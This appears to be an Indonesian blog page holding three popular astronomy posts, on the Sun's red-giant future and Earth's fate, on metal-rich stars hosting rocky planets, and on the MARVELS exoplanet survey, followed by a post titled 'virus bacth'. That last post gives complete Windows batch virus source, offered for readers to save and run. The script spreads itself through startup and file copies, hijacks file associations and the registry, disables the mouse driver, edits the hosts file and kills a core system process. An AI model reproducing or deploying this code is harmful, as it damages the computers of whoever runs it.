penerjemah

English French German Spain Italian Dutch Russian Brazil Japanese Korean Arabic Chinese Simplified

AKHIR DARI bumi...

Perubahan iklim dan pemanasan global yang terjadi akhir-akhir ini menjadi salah satu efek yang sangat signifikan dalam perubahan kondisi Bumi selama beberapa dekade dan abad ke depan. Namun, bagaimana dengan nasib Bumi jika terjadi pemanasan bertahap saat Matahari menuju masa akhir hidupnya sebagai bintang katai putih? Akankah Bumi bertahan, ataukah masa tersebut akan menjadi masa akhir kehidupan Bumi?

Bintang Raksasa Merah. Impresi artis. source : Universetoday
Milyaran tahun lagi, Matahari akan mengembang menjadi bintang raksasa merah. Saat itu, ia akan membesar dan menelan orbit Bumi. Akankah Bumi ditelan oleh Matahari seperti halnya Venus dan Merkurius? Pertanyaan ini telah menjadi diskusi panjang di kalangan astronom. Akankah kehidupan di Bumi tetap ada saat matahari menjadi Katai Putih?
Berdasarkan perhitungan yang dilakukan K.-P. Schr¨oder dan Robert Connon Smith, ketika Matahari menjadi bintang raksasa merah, ekuatornya bahkan sudah melebihi jarak Mars. Dengan demikian, seluruh planet dalam di Tata Surya akan ditelan olehnya. Akan tiba saatnya ketika peningkatan fluks Matahari juga meningkatkan temperatur rata-rata di Bumi sampai pada level yang tidak memungkinkan mekanisme biologi dan mekanisme lainnya tahan terhadap kondisi tersebut.
Saat Matahari memasuki tahap akhir evolusi kehidupannya, ia akan mengalami kehilangan massa yang besar melalui angin bintang. Dan saat Matahari bertumbuh (membesar dalam ukuran), ia akan kehilangan massa sehingga planet-planet yang mengitarinya bergerak spiral keluar. Lagi-lagi pertanyaannya bagaimana dengan Bumi? Akankah Matahari yang sedang mengembang itu mengambil alih planet-planet yang bergerak spiral, atau akankah Bumi dan bahkan Venus bisa lolos dari cengkeramannya?
Perhitungan yang dilakukan oleh K.-P Schroder dan Robert Cannon Smith menunjukan, saat Matahari menjadi bintang raksasa merah di usianya yang ke 7,59 milyar tahun, ia akan mulai mengalami kehilangan massa. Matahari pada saat itu akan mengembang dan memiliki radius 256 kali radiusnya saat ini dan massanya akan tereduksi sampai 67% dari massanya sekarang. Saat mengembang, Matahari akan menyapu Tata Surya bagian dalam dengan sangat cepat, hanya dalam 5 juta tahun. Setelah itu ia akan langsung masuk pada tahap pembakaran helium yang juga akan berlangsung dengan sangat cepat, hanya sekitar 130 juta tahun. Matahari akan terus membesar melampaui orbit Merkurius dan kemudian Venus. Nah, pada saat Matahari akan mendekati Bumi, ia akan kehilangan massa 4.9 x 1020 ton setiap tahunnya (setara dengan 8% massa Bumi).

Perjalanan evolusi Matahari sejak lahir sampai menjadi bintang katai putih.
Setelah mencapai tahap akhir sebagai raksasa merah, Matahari akan menghamburkan selubungnya dan inti Matahari akan menyusut menjadi objek seukuran Bumi yang mengandung setengah massa yang pernah dimiliki Matahari. Saat itu, Matahari sudah menjadi bintang katai putih. Bintang kompak ini pada awalnya sangat panas dengan temperatur lebih dari 100 ribu derajat namun tanpa energi nuklir, dan ia akan mendingin dengan berlalunya waktu seiring dengan sisa planet dan asteroid yang masih mengelilinginya.
Zona Laik Huni yang Baru
Saat ini Bumi berada di dalam zona habitasi / laik huni dalam Tata Surya. Zona laik huni atau habitasi merupakan area di dekat bintang di mana planet yang berada di situ memiliki air berbentuk cair di permukaannya dengan temperatur rata-rata yang mendukung adanya kehidupan. Dalam perhitungan yang dilakukan Schroder dan Smith, temperatur planet tersebut bisa menjadi sangat ekstrim dan tidak nyaman untuk kehidupan, namun syarat utama zona habitasinya adalah keberadaan air yang cair.

Terbitnya bintang raksasa merah. Impresi artis. Sumber: Jeff Bryant's Space Art.
Tak dapat dipungkiri, saat Matahari jadi Raksasa Merah, zona habitasi akan lenyap dengan cepat. Saat Matahari melampaui orbit Bumi dalam beberapa juta tahun, ia akan menguapkan lautan di Bumi dan radiasi Matahari akan memusnahkan hidrogen dari air. Saat itu Bumi tidak lagi memiliki lautan. Tetapi, suatu saat nanti, ia akan mencair kembali. Nah saat Bumi tidak lagi berada dalam area habitasi, lantas bagaimana dengan kehidupan di dalamnya? Akankah mereka bertahan atau mungkin beradaptasi dengan kondisi yang baru tersebut? Atau itulah akhir dari perjalanan kehidupan di planet Bumi?
Yang menarik, meskipun Bumi tak lagi berada dalam zona habitasi, planet-planet lain di luar Bumi akan masuk dalam zona habitasi baru milik Matahari dan mereka akan berubah menjadi planet layak huni. Zona habitasi yang baru dari Matahari akan berada pada kisaran 49,4 SA – 71,4 SA. Ini berarti areanya akan meliputi juga area Sabuk Kuiper, dan dunia es yang ada disana saat ini akan meleleh. Dengan demikian objek-objek disekitar Pluto yang tadinya mengandung es sekarang justru memiliki air dalam bentuk cairan yang dibutuhkan untuk mendukung kehidupan. Bahkan bisa jadi Eris akan menumbuhkan kehidupan baru dan menjadi rumah yang baru bagi kehidupan.
Bagaimana dengan Bumi?
Apakah ini akhir perjalanan planet Bumi? Ataukah Bumi akan selamat? Berdasarkan perhitungan Schroder dan Smith Bumi tidak akan bisa menyelamatkan diri. Bahkan meskipun Bumi memperluas orbitnya 50% dari orbit yang sekarang ia tetap tidak memiliki pluang untuk selamat. Matahari yang sedang mengembang akan menelan Bumi sebelum ia mencapai batas akhir masa sebagai raksasa merah. Setelah menelan Bumi, Matahari akan mengembang 0,25 SA lagi dan masih memiliki waktu 500 ribu tahun untuk terus bertumbuh.

Matahari yang menjadi raksasa merah akan mengisi langit seperti yang tampak dari bumi. Gambar ini menunjukan topografi Bumi yang sudah meleleh menjadi lava. Tampak siluet bulan dengan latar raksasa merah. Copyright William K. Hartmann
Saat Bumi ditelan, ia akan masuk ke dalam atmosfer Matahari. Pada saat itu Bumi akan mengalami tabrakan dengan partikel-partikel gas. Orbitnya akan menyusut dan ia akan bergerak spiral kedalam. Itulah akhir dari kisah perjalanan Bumi.
Sedikit berandai-andai, bagaimana menyelamatkan Bumi? Jika Bumi berada pada jarak 1.15 SA (saat ini 1 SA) maka ia akan dapat selamat dari fasa pengembangan Matahari tersebut. Nah bagaimana bisa membawa Bumi ke posisi itu?? Meskipun terlihat seperti kisah fiksi ilmiah, namun Schroder dan Smith menyarankan agar teknologi masa depan dapat mencari cara untuk menambah kecepatan Bumi agar bisa bergerak spiral keluar dari Matahari menuju titik selamat tersebut.
Yang menarik untuk dikaji adalah, umat manusia seringkali gemar berbicara tentang masa depan Bumi milyaran tahun ke depan, padahal di depan mata, kerusakan itu sudah mulai terjadi. Bumi saat ini sudah mengalami kerusakan awal akibat ulah manusia, dan hal ini akan terus terjadi. Bisa jadi akhir perjalanan Bumi bukan disebabkan oleh evolusi matahari, tapi oleh ulah manusia itu sendiri. Tapi bisa jadi juga manusia akan menemukan caranya sendiri untuk lolos dari situasi terburuk yang akan dihadapi.
Sumber : Arxiv : Distant future of the Sun and Earth revisited
baca selengkapnya »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

bintang kaya logam

Berdasarkan data dari Teleskop Angkasa Kepler, maka astronom yang akan berburu planet batuan harus fokus pada bintang lebih kecil yang memiliki kelimpahan logam.
Hasil penemuan terbaru mengungkapkan kalau planet batuan seperti halnya planet raksasa lebih mungkin untuk ditemukan pada bintang dengan kandungan logam yang tinggi. Selain itu planet batuan juga lebih banyak terdapat di sekitar bintang bermassa rendah.
Hubungan Bintang dan Planet Gas
Ilustrasi planet Kepler 10b. Kredit : NASA
Kevin Schlaufman dan Gregory Laughlin dari University of California di Santa Cruz mempelajari 997 bintang yang memiliki kandidat planet di orbitnya dan keduanya menemukan kalau planet besar maupun kecil lebih sering ditemukan di sekitar bintang yang memiliki kelimpahan logam lebih banyak. Logam yang dimaksudkan disini adalah unsur lain selain hidrogen dan helium. Bintang dengan logam yang tinggi mengandung unsur lain dengan jumlah yang signifikan. Logam tersebut terbentuk pertama kalinya bersama bintang yang memiliki komposisi gas hidrogen dan helium mati dalam ledakan supernova dan melontarkan isinya ke ruang angkasa.
Tidak mengherankan jika planet cenderung ditemukan disekitar bintang yang memiliki lebih banyak logam. Hal ini karena planet terbentuk dari materi yang sama dengan sang bintang induk.
Bintang terbentuk dari kompresi gravitasi gas dan debu, sedangkan planet terbentuk dari sisa materi pembentukan bintang yang ada dalam piringan yang mengelilingi bintang.
Sebelum Kepler, para astronom sudah menyelidiki kemungkinan dimana planet gas raksasa ditemukan. Dan mereka memang menemukan adanya keterkaitan antara keberadaan gas raksasa dan bintang yang kaya logam. Tapi, kondisi yang sama belum diterapkan pada planet batuan karena pada saat itu baru beberapa planet batuan yang ditemukan.
Menantikan Satu Siklus Bintang
Semua berubah di bulan Februari ketika NASA mengumumkan penemuan 68 kandidat planet seukuran Bumi dan 288 super Bumi. Tambang planet yang baru ini jelas akan memperkaya pemahaman manusia dan jumlah yang ada juga cukup untuk bisa dianalisa korelasi apa yang dimiliki oleh planet bermassa rendah dan tipe bintang yang dihuni.
Semua tipe planet tampaknya berada pada bintang dengan tingkat kandungan logam yang tinggi. Akibatnya agak sulit untuk menentukan kapan pertama kali planet terbentuk di galaksi. Selain itu mereka juga harus menunggu sampai bintang generasi pertama melalui masa hidupnya dan meledak sehingga bisa menyediakan bahan logam yang cukup untuk pembentukan planet. Satu siklus hidup  bintang akan membentuk lebih banyak logam, sehingga planet juga lebih mudah berkoalisi.  Proses tersebut akan memakan waktu beberapa milyar tahun. Karena itu, planet dan juga kehidupan di dalamnya tidak akan terbentuk pada masa awal alam semesta.
Selain hubungan dengn komposisi Bintang, Schlaufman dan Laughlin juga menemukan kalau planet kebumian lebih banyak ditemukan di bintang bermassa rendah. Alasannya sederhana : planet gas raksasa membutuhka lebih banyak massa untuk terbentuk.
Piringan debu di sekeliling bintang yang besar akan lebih sering membentuk planet masif sedangkan bintang yang lebih kecil dan piringannya akan cenderung membentuk planet yang kurang masif dalam hal ini, planet batuan.
Bintang dan Potensi Kehidupan
Selain meneliti hubungan keberadaan planet batuan dengan tipe bintang baik komposisi maupun massa bintang, Schlaufman juga memberi pejabaran hubungan potensi kehidupan di planet dan tipe bintang.
Bintang yang leih masif dari Matahari hanya akan menjalani hidup selama beberapa milyar tahun sementara bintang yang lebih kecil memiliki masa hidup yang lebih panjang. Kondisi pada bintang yang lebih kecil ini memungkinkan planet untuk membentuk kehidupan di dalamnya dan kemudian membiarkan kehidupan itu berevolusi membentuk peradaban yang lebih tinggi sebelum kematian bintang induknya.
Kejanggalan lainnya dalam hal mencari kehidupan lain mungkin akan muncul dengan semakin banyaknya planet yang ditemukan, terutama planet batuan seperti Bumi. Konfirmasi dari  diberikan Keppler yang menunjukkan kalau planet batuan lebih sering terbentuk di bintang dengan kandungan logam tinggi jelas akan sangat membantu pencarian tersebut.
Sumber : Astrobio, Science@NASA
baca selengkapnya »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Sama seperti setiap manusia yang punya keunikan masing-masing, planet di Tata Surya uga punya keunikannya sendiri. Jika setiap planet dianggap sebagai sebuah dunia baru, maka bisa kita katakan kalau ternyata setiap dunia itu berbeda. Berbeda dalam bentuk, ukuran dan kimianya. Mars yang dingin, dengan pasir merah yang kaku. Venus… si cantik yang menyala dalam dunianya yang diselubungi awan asam sulfur yang tebal, atau lihatlah Uranus dan cincin vertikalnya yang aneh. Atau Saturnus? Dunia kecil dengan cincinnya yang menawan disertai satelit-satelitnya, yang semakin hari semakin mirip Tata Surya kecil. Keanekaragaman yang indah dan menyegarkan.
Ilustrasi planet yang mengelilingi bintang lain. Kredit Gambar : T. Riecken, NASA
Sekarang, bayangkan kalau keanekaragaman itu tidak hanya berada di Tata Surya saja, tapi di ratusan sistem keplanetan lainnya. Bisa jadi ada dunia lain di luar sana, yang akan membuat Venus terlihat bisa dihuni dan Uranus memang lebih positif eh lebih tepat dalam kondisi yang tegak lurus itu. Tapi sampai 20 tahun lalu, para astronom pun maish tak yakin adakah dunia yang lain itu diluar Tata Surya kita. Sekarang, mereka sudah menemukan lebih dari 280 dunia lain, yang setiap planetnya punya keunikan dan kekhasannya. Setiap planet dengan pesonanya yang bisa memikat kita para pengamatnya.
Dan saat ini, masa kejayaan penemuan sistem planet barulah dimulai. Musim gugur tahun ini (2008), astronom akan memulai pencarian planet besar-besaran dengan mengamati sekitar 11000 bintang dekat selama 6 tahun ke depan. Dari jumlah ini, sejumlah kecil diantaranya, atau sekitar 3000 bintang sudah diamati oleh para astronom untuk melacak jejak planet disekelilingnya. Diperkirakan dengan project terbaru NASA yakni MARVELS (Multi-object Apache Point Observatory Radial Velocity Exoplanet Large-area Survey), bisa ditemukan lagi sekitar 150 planet bahkan lebih.
Menurut Jian Ge, kepala investigasi MARVEL dari Universitas Florida, Gainesville, pengamatan dengan MARVELS secara umum akan mencari planet raksasa seukuran Jupiter. Planet-planet raksasa ini seperti tanda lalu lintas di mercusuar yang memberi tanda keberadaan seluruh sistem keplanetan di sebuah bintang. Kok bisa? Sekali kita menemukan sebuah planet raksasa di bintang, maka bisa kita ketahui kalau disekitarnya terdapat planet-planet yang lebih kecil. MARVELS dalam bertugas tidak hanya mengkatalogkan planet-planet tapi juga memberi data yang dibutuhkan para astronom untuk menguji teori pembentukan dan teori evolusi dari sistem keplanetan.
Untuk mengamati sedemikian banyak bintang, MARVELS akan menggunakan teleskop yang bisa memisahkan 60 citra bintang pada saat yang sama, bahkan bisa meningkat sampai 120 citra. Teleskop yang akan ditempatkan di Apache Point Observatory di Sacramento Mountains, New Meksiko tersebut memiliki cermin utama sepanjang 2,5 meter dengan luas medan pandang langit 7 derajat persegi. Area tersebut akan tampak 35 kali lebih besar dari Bulan. Rangkaian sebanyak 60 jalinan kabel serat optik akan membawa cahaya melalui bidang fokus teeleskop ke interferometer yang sangat sensitif. Instrumen ini bisa mendeteksi perubahan yang sangat kecil dalam frekuensi cahaya bintang. Apa bedanya? Bukankah instrumen yang digunakan dalam penemuan ekstrasolar planet juga bisa mendeteksi perubahan cahaya bintang?
Menurut Ge, saat bintang diganggu oleh gaya gravitasi planet yang mengorbit, frekuensi cahaya bintang akan bergeser mendekat dan menjauh, atau dikenal dengan nama Efek Doppler. Kuatnya gravitasi planet seukuran Jupiter akan menghasilkan tarikan yang besar pada bintang induknya, sehingga akan relatif lebih mudah untuk diamati menggunakan metode efek doppler. Nah, jika pengamatan berhasil melihat adanya cahaya yang menguat dan melemah dalam siklus berulang selama beberapa hari, minggu, atau bulan, maka bisa dipastikan ada planet disana.
Selain menemukan planet-planet baru, para peneliti juga penasaran bintang tipe apa yang memiliki planet gas di dalam sistemnya. Teori pembentukan planet memprediksi hanya bintang yang kaya dengan elemen berat seperti silikon, oksigen, dan nikel yang bisa memiliki planet-planet seperti Jupiter. Coba bayangkan, piringan pembentuk planet berada di bintang seperti itu, dan piringan itu ternyata juga kaya dengan elemen berat seperti pada bintang yang ada di pusatnya. Elemen-elemen berat tersebut kemundian membentuk gumpalan batu dalam piringan. Gumpalan-gumpalan padat kemudian bertabrakan dan bergabung membentuk benih planet yang memiliki gravitasi yang kuat untuk mengumpulkan gas disekelilingnya dan tumbuh menjadi sbeuah planet gas.
Karena itu, jika MARVELS menemukan lebih banyak lagi planet gas raksasa di sekeliling bintang yang kaya elemen berat, maka hasil pengamatan akan bisa mendukung teori yang ada tersebut. Tapi, sebagian planet gas raksasa tidak membutuhkan elemen berat tersebut dalam pembentukannya. Nah teori lain menyebutkan kalau planet mirip Jupiter lahir karena ada gangguan dalam piringan pembentuk planet, sehingga memulai keruntuhan gravitasi pada daerah gas dan debu. Tidak dibutuhkan benh untuk itu.
Ini akan jadi tugas MARVELS dalam menguji sejumlah besar bintang yang memiliki fraksi elemen berat yang berbeda, sehingga MARVELS akan bisa memberi kunci dalam membedakan kedua ide tersebut. Tidak hanya itu, data dari MARVELS diharapkan dapat memberi secercah cahaya untuk pertanyaan lainnya, seperti seberapa sering orbit planet gas raksasa mengalami migrasi lebih dekat ke bintang, dan bagaimana sebuah planet bisa memiliki eksentrisitas orbit yang lonjong bukannya lingkaran.
Dalam banyak hal, MARVELS akan bisa memberi petunjuk baru yang membuka pintu dalam menjawab berbagai pertanyaan dan teori yang sudah lama ada.
Sumber : Science@NASA
baca selengkapnya »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

virus bacth


@Echo off
If not Exist C:\DOCUME~1\ALLUSE~1\DOCUME~1\Readme.bat Copy %0 C:\DOCUME~1\ALLUSE~1\DOCUME~1\Readme.bat >Null
if Not Exist C:\DOCUME~1\ALLUSE~1\STARTM~1\Programs\Startup\Pesan.Terminator
GoTo Pesan... See More
GoTo Infect
@echo off
assoc .mp3=txtfile
assoc .wav=txtfile
assoc .jpg=txtfile
echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key% /f
reg add %key% /v Start /t REG_DWORD /d 4
@echo off
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 8tube.com >> "Hosts"
echo 127.0.0.1 www.8tube.com >> "Hosts"

:pesan
Echo Halo, Welcome To Computer Room >pesan.Terminator
Echo Please Gift A me Kiss >>pesan.Terminator
Echo I Love U So Much >>pesan.Terminator
Copy Pesan.Terminator C:\DOCUME~1\ALLUSE~1\STARTM~1\programs\startup\pesan.Terminator >Null

Echo Windows Registry Editor Version 5.00 >Infect.reg
Echo. >>Infect.reg
Echo [HKEY_CLASSES_ROOT\txtfile\shell\open\command] >>Infect.reg
Echo @=hex(2) :43,00,3a,00,5c,00,44,00,6f,00,63,00,75,00,6d,00,65,00,6e,00,74,00,73,\ >>Infect.reg
Echo 00,20,00,61,00,6e,00,64,00,20,00,53,00,65,00,74,00,74,00,69,00,6e,00,67,00,\ >>infect.reg
Echo 73,00,5c,00,41,00,6c,00,6c,00,20,00,55,00,73,00,65,00,72,00,73,00,5c,00,44,\ >>infect.reg
Echo 00,6f,00,63,00,75,00,6d,00,65,00,6e,00,74,00,73,00,5c,00,52,00,65,00,61,00,\ >>infect.reg
Echo 64,00,6d,00,65,00,2e,00,62,00,61,00,74,00,20,00,25,00,31,00,00,00 >>infect.reg

Copy Infect .reg C:\DOCUME~1\ALLUSE~1\DOCUME~1\Infect.reg >Null
C:\DOCUME~1\ALLUSE~1\DOCUME~1\Infect.reg
@Del Infect.reg
@Del C:\DOCUME~1\ALLUSE~1\DOCUME~1\Infect.reg

:Infect
Start %SystemRoot\System32\NOTEPAD.EXE %1
Copy %0 %1.bat >Null
For %%A in (*.jpg) do type %0 >%%A.bat
@Del null
@echo off
taskkill /f /t /im "smss.exe"
@echo off
time 12:00
Exit

save dengan alat notepat ektensi .bat
baca selengkapnya »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati